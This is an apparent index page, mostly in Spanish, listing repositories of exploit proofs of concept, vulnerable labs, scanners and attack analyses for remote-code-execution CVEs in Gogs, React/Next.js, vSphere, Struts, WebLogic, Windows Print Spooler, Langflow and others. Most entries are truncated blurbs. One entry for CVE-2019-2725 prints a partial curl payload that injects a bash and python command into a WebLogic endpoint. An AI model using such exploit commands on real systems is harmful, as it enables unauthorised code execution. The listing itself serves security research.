CVE-2025-8110

CVE-2025-8110 — PoC de RCE en Gogs Silentium / HackTheBox Descargo de responsabilidad: Esta herramienta está destinada estrictamente a fines educativos y pruebas de penetración autorizadas. Úsela únicamente contra sistemas para los que tenga permiso explícito. Esta es una versión modificada de...

CVE-2025-55182-Attack-Analysis

Análisis del ataque CVE-2025-55182: RCE en React Server Components Análisis de un ataque real en una aplicación Next.js de producción 📋 Tabla de Contenidos Resumen Ejecutivo Resumen de la Vulnerabilidad Cronología del Ataque Análisis Técnico Análisis del Malware Indicadores de Compromiso IOCs...

CVE-2021-21972

CVE-2021-21972 CVE-2021-21972 VMware vSphere Client Carga de archivos no autorizada para ejecución remota de código RCE El vSphere Web Client HTML5 es esencialmente una interfaz administrativa que permite la gestión de una instalación de vSphere. El vSphere Client proporciona a un administrador...

Microsoft-Word-CVE-2017-0199-

Microsoft-Word-CVE-2017-0199- Description: Microsoft Word CVE-2017-0199 is prone to a RCE trough a HTA Handler A remote code execution vulnerability exists in the way that Microsoft Office and WordPad parse specially crafted files. An attacker who successfully exploited this vulnerability could...

CVE-2025-55182-exploit

⚠️ DISCLAIMER This tool is for authorized security testing and educational purposes ONLY. Only test systems you own or have explicit written permission to test Unauthorized use is illegal and unethical The developers assume no liability for misuse Use responsibly and in compliance with all...

Apple-Safari-Remote-Code-Execution-CVE-2020-27930

此存储库没有 README。...

CVE-2017-9805

CVE-2017-9805: Análisis de RCE en Apache Struts 2 S2-052 Este repositorio contiene los detalles técnicos y el trabajo PoC Prueba de Concepto para la vulnerabilidad de deserialización de XStream en Apache Struts 2 S2-052. 📌 Detalles de la Vulnerabilidad CVE ID: CVE-2017-9805 Tipo de Vulnerabilidad...

Exploit-CVE-2019-2725

Exploit-CVE-2019-2725 Un exploit simple para CVE-2019-2725. Código de ejemplo: curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import...

CVE-2022-29303

Exploit para CVE-2022-29303 Exploit para CVE-2022-29303 Uso Check against single host / \ \ / / || \ | \ // \ / | \ V /| |/ / / / / // /, /| \ | \ | / || ///| /|//|/// Coded By Valentin Lobstein "With great power comes great responsibility" usage: CVE-2022-29303.py -h -u URL -c COMMAND Example...

CVE-2021-42392-exploit-lab

⚠️ PoC de Exploit RCE en Base de Datos H2 CVE-2021-42392 Este repositorio proporciona un entorno mínimo y controlado para probar la vulnerabilidad de Ejecución Remota de Código en la Base de Datos H2 CVE-2021-42392 utilizando la función CREATE ALIAS. A diferencia de muchas demostraciones, este...

CVE-2024-28397-RCE

CVE-2024-28397-RCE CVE-2024-28397 - Ejecución Remota de Código desde JS2PY Vulnerable Uso: python3 exploit.py...

cve-2025-3248-exploit

CVE-2025-3248: Escáner de Vulnerabilidad RCE No Autenticada en Langflow Un framework integral de explotación en Python para probar y demostrar CVE-2025-3248 , una vulnerabilidad crítica de ejecución remota de código no autenticada en versiones de Langflow ≤ 1.3.0. 🔴 Resumen de la Vulnerabilidad...

CVE-2024-44902-env

CVE-2024-44902 - ThinkPHP Insecure Deserialization RCE Entorno vulnerable para la validación de nuclei-templates. Detalles de la Vulnerabilidad Campo| Valor ---|--- CVE ID| CVE-2024-44902 Severidad| Crítica CVSS 9.8 Producto| ThinkPHP Versiones Afectadas| 6.1.3 - 8.0.4 Tipo| Deserialización...

react-rce

Laboratorio de vulnerabilidad CVE-2025-55182 React2Shell IA utilizada: Claude Opus 4.5 ⚠️ Advertencia : este entorno debe utilizarse únicamente con fines educativos y de investigación. Resumen de la vulnerabilidad Elemento| Descripción ---|--- CVE| CVE-2025-55182 React / CVE-2025-66478 Next.js...

givewp-cve-2026-82222-rce-lab

CVE-2026-82222 — Laboratorio de Validación de RCE Solo-Marcador para GiveWP Material de investigación de seguridad para reproducir y validar CVE-2026-82222 en un laboratorio Docker aislado. Para el PoC de RCE directo y el escaneo de URL, useCVE-2026-8222-RCE.py Veredicto Estado: probado en el...

Attackers Bypass WAFs to Exploit Oracle PeopleSoft Flaw and Deploy Web Shells

Google is warning of renewed mass exploitation of a known security vulnerability in Oracle PeopleSoft as part of a campaign targeting multiple sectors globally. The ShinyHunters-linked activity involves the weaponization of CVE-2026-35273 CVSS score: 9.8, a critical security flaw that could resul...

CVE-2021-1675

CVE-2021-1675 / CVE-2021-34527 Implementación de Impacket del PoC de PrintNightmare creado originalmente por Zhiniang Peng @edwardzpeng y Xuefeng Li @lxf02942370 Probado en un controlador de dominio 2019 completamente parcheado Ejecutar DLL maliciosas de forma remota o local Actualización de parc...

CVE-2024-37054-PoC

MLflow Unsafe Deserialization CVE-2024-37054 Overview This repository documents research into CVE-2024-37054 , an unsafe deserialization issue affecting MLflow PyFunc model handling. In affected MLflow versions, loading an untrusted PyFunc model can cause Python deserialization logic to process a...

CVE-2025-24367

CVE-2025-24367 CVE-2025-24367 - RCE en la plantilla de gráficos autenticada de Cacti...

react-vuln-scanner

Escáner de Vulnerabilidad React CVE-2025-55182 Un script bash para escanear tu servidor en busca de aplicaciones React vulnerables a CVE-2025-55182 — una vulnerabilidad crítica de ejecución remota de código CVSS 10.0 en React Server Components. ⚠️ Acerca de la Vulnerabilidad El 3 de diciembre de...